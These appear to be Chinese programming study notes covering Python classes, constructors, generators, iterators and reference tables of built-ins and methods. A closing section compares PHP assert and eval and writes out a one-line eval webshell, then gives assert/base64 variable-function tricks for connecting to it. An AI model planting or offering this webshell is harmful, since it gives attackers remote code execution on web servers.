构造函数:
构造函数也被称为构造器,当创建对象的时候第一个被自动调用的函数,系统默认提供了一个无参的构造函数 per = Person()
语法:
def __ init__(self,arg1,arg2,…):
说明:
之前的写法中并没有显示的定义一个个构造函数,所以系统默认提供了一个无参的构造函数
arg1,arg2,…可以自己定义,但是,一般情况下,构造函数的形参列表和成员变量有关
构造函数的特点:创建对象;给对象的成员变量赋值
构造函数和成员函数之间的区别:
1.成员函数的函数名可以自定义,但是,构造函数的函数名是固定的__init__
2.成员函数需要被手动调用,但是,构造函数在创建对象的过程中是自动被调用的
3.对于同一个对象而言,成员函数可以被调用多次,但是,构造函数只能被调用一次
类与对象的理解与封装特性:
类:可以理解是一个模板,通过它来创建出无数个具体的实例;类是抽象一类事物的总称,
对象:类时不可以直接使用的,需要通过类创建的实例才能使用,这个实例也就是对象。
属性:类中的所有变量称为属性
方法:类中的所有函数通常叫做方法
# 定义类的语法结构
class 类名称(object):
def __init__(self, 属性列表):
初始化属性
def 方法名称(self):
方法的操作代码
# 使用类来创建对象
变量名称 = 类名称(属性值)
生成器
生成器是python中的一个对象(按照某种规律,来生成元素的对象),生成器不是列表,保存了产生元素的算法,同时会记录游标的位置(现在拿到第几个元素了),为了下次继续拿数据,而不是从头开始拿数据。可以通过一直调用next()方法获取值,这个对象不保存数据,每次调用会返回一个值,即做到了列表的好处,又不占用空间。
将列表[]改为()即可称为生成器
只要把一个列表生成式的[]改成(),就创建了一个generator
generator保存的是算法
每次调用next(g),就计算出g的下一个元素的值,
直到计算到最后一个元素,没有更多的元素时,抛出StopIteration的错误
一直用next调用,一定不是一个好办法,我们需要用for来调用
for可以将StopIteration处理
因为生成器也是一个可迭代对象
我们可以用列表推导(生成式)来初始化一个列表:
list5 = [x for x in range(5)]
print(list5) #output:[0, 1, 2, 3, 4]
用类似的方式来生成一个生成器,只不过我们这次将上面的[ ]换成( ):
gen = (x for x in range(5))
print(gen)
#output: <generator object <genexpr> at 0x0000000000AA20F8>
看到上面print(gen) 并不是直接输出结果,而是告诉我们这是一个生成器。
调用这个gen有两个方式:
#1
for item in gen:
print(item)
#output:
0
1
2
3
4
#2
print(next(gen))#output:0
print(next(gen))#output:1
print(next(gen))#output:2
print(next(gen))#output:3
print(next(gen))#output:4
print(next(gen))#output:Traceback (most recent call last):StopIteration
迭代器
迭代是python中访问集合元素的一种非常强大的一种方式。迭代器是一个可以记住遍历位置的对象,因此不会像列表那样一次性全部生成,而是可以等到用的时候才生成,因此节省了大量的内存资源。迭代器对象从集合中的第一个元素开始访问,直到所有的元素被访问完。迭代器有两个方法:iter()和next()方法。
类似于list、tuple、str 等类型的数据可以使用for …… in…… 的循环遍历语法从其中依次拿到数据并进行使用,我们把这个过程称为遍历,也称迭代。python中可迭代的对象有list(列表)、tuple(元组)、dirt(字典)、str(字符串)set等。
可迭代对象,可以被for循环的数据-----迭代器iter(),iter(),-------生成器 yield [] ()
生成器就是一种迭代器
可以被next调用并不断返回下一个值的对象称为迭代器:iterator
it = iter([1,2,3,4])
while True:
try:
res = next(it)
print(res)
except StopIteration as e:
break
>1
>2
>3
>4
python的主要数据类型:
boolean | = | True/ False |
interger | = | 10 |
float | = | 10.01 |
string | = | “123abc” |
list | = | [元素1, 元素2, …] |
dictionary | = | {键1:值1, 键1:值1, …} |
算数运算符:
+ | 加 |
- | 减 |
* | 乘 |
/ | 除 |
** | 幂 |
% | 取模 |
// | 取整 |
print(x) | 打印x |
input() | 输入数据 |
len(x) | 返回对象x的长度 |
min(L) | 返回给定参数L的最小值 |
max(L) | 返回给定参数L的最大值 |
sum(L) | 对序列L进行求和计算 |
range(n1,n2,n) | 创建整数列表 |
abs(n) | 返回n的绝对值 |
round(n) | 返回n的四舍五入值 |
type(x) | 返回参数x的数据类型 |
str(x) | 将x转化为字符串类型 |
list(x) | 将对象x转化为列表 |
int(x) | 将对象x转化为整数 |
float(x) | 将对象x转化为浮点数 |
比较运算符:
== | 等于 |
!= | 不等于 |
> | 大于 |
< | 小于 |
>= | 大于或等于 |
<= | 小于或等于 |
特殊字符
# | 单行注释符 |
\n | 换行符 |
\ | 转义字符 |
文字的读和写
f=open() | 访问文件 |
f.read() | 读取文件 |
f.readline | 读取文本文件中的一行 |
f.write | 向文件中输入指定字符串 |
f.close | 返回指定的文件夹,包含关闭文件 |
文件和文件夹的处理
import os | 导入标准库os |
os.getcwd() | 返回当前工作目录 |
os.makedirs() | 递归创建目录 |
os.chdir() | 改变当前工作目录 到指定的路径 |
os.listdir() | 返回指定的文件夹 包含的文件 |
字符串操作
String[i] | 访问第i个的元素 |
String[-1] | 访问最后一个元素 |
String[i:j] | 访问第i至j个元素 |
字符串的方法
string.upper | 返回大写的字符串 |
string.lower | 返回小写的字符串 |
string.count(x) | 统计元素x在字符串中出现的次数 |
string.find(x) | 元素x第一次出现的位置 |
string.replace(x,y) | 用元素y代替元素x |
string.strip() | 删除开头和结尾的空白字符 |
string.join() | 将序列中的元素,以指定的字符连接,生成一个新的字符串 |
string.format(x) | 格式化字符串 |
列表操作
list = [] | 创建一个空列表 |
list[i] = x | 用位置i存储x |
list[i] | 访问第i个元素 |
list[-1] | 访问最后一个元素 |
list[i:j] | 访问第i至j个元素 |
del list[i] | 删除第i个元素 |
字典操作
dict = {} | 创建一个空字典 |
dict[k] = x | 设置键k的值为x |
dict[k] | 访问第k个键值对的值 |
del dict[k] | 删除第k个键值对 |
字典方法
dict.keys() | 返回字典中的所有键 |
dict.values() | 返回所有键对应的值 |
dict.items() | 返回字典中所有键值对 |
dict.pop() | 删除字典给定键值所对应的值, 返回其值 |
dict.update(D) | 使用字典所包含的键值D来更新己有的字典 |
dict.clear() | 删除字典内所有元素 |
dict.copy() | 返回一个具有相同键值对的新字典 |
列表方法
list.append(x) | 在列表结尾处添加元素x |
list.extend(L) | 在列表结尾处添加列表L |
list.insert(i,x) | 在列表位置i添加元素x |
list.remove(x) | 从列表中删除元素x |
list.pop(i) | 删除列表中位置i的元素,并返回其值 |
list.clear() | 删除列表中所有元素 |
list.index(x) | 找出列表中元素x对应的索引位置 |
list.count(x) | 统计元素x在列表中出现的次数 |
list.sort() | 对列表排序 |
list.reverse() | 对列表逆排序 |
list.copy() | 返回赋值的列表 |
assert和eval的成功与失败
相同点:
二者都可以执行PHP语句。只不过是,eval规范更加严格一些,必须符合PHP代码要求。而assert则没有那么严格,执行PHP表达式即可。并不是对assert无计可施,可以采用assert_option()来进行对assert的控制。但是在生产环境强烈建议不使用assert函数(哪怕对其限制,也并不安全)。
不同点:
eval():该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。(在生产中也建议少用)
注意:1.eval()里必须是字符串;2.eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str;
eval定义和用法:
(1)eval() 函数把字符串按照 PHP 代码来计算(计算=执行)。
(2)该字符串必须是合法的 PHP 代码,且必须以分号结尾。
(3)如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
在程序的运行过程中调用assert()来进行判断表达式,遇到false时程序也是会继续执行的,这在生产环境中这样使用是不好的,而 在开发调试环境中,却是一种debug的不错的方式。特别是用上callback的方法,可以知道具体的出错信息。所以,php的官方文档里头是建议将assert用来进行debug,我们可以发现还有一个开关ASSERT_ACTIVE可以用来控制是否开启debug。
assert和eval的案例
写一段木马:
<?php @eval($_POST['2']); ?>
发现很容易实现,但是太明显了
当我们把代码拼接一下的时候发现
显示返回数据为空。这是因为虽然逻辑上这样的拼接方式按道理最后输出的也还是<?php @eval($_POST['2']); ?>
,但是eval是一个语言构造器而不是一个函数,不能被可变函数调用。
我们把连接密码换成 1=assert&2 编码器换成base64时连接成功
但是我们把编码器换成default时还是会提示返回数据为空
这是因为我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数),比如
assert(eval(‘echo 1;’));//类似这样
1=assert
2=eval(base64_decode())
$_POST['1']($_POST[2])
assert(eval(base64_decode))
我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。
assert(‘adsadasdsadasdasdsa’) 里面只有字符串
assert(eval(base64dddddd)); 里面有eval函数
eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())